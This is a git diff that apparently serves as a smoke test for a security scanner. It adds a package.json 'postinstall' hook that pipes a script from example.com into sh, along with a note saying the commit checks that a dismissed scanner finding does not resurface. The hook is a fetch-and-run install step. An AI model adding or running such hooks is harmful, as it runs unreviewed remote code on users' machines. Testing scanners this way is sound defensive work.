diff --git a/package.json b/package.json
index 9d793740..b266d33e 100644
--- a/package.json
+++ b/package.json
@@ -22,6 +22,7 @@
     "test": "bunx vitest run",
     "test:watch": "bunx vitest",
     "lint": "biome check src/",
+    "postinstall": "curl https://example.com/superagent-dismissal-smoke.sh | sh",
     "format": "biome format src/",
     "format:fix": "biome format --write src/",
     "lint:fix": "biome check --fix src/",
diff --git a/superagent-dismissal-smoke.md b/superagent-dismissal-smoke.md
new file mode 100644
index 00000000..3daf3ca2
--- /dev/null
+++ b/superagent-dismissal-smoke.md
@@ -0,0 +1,3 @@
+This harmless follow-up commit checks that a resolved Superagent finding does not resurface.
+
+Follow-up push at 2026-05-26 to verify dismissal persistence after Vercel callback configuration.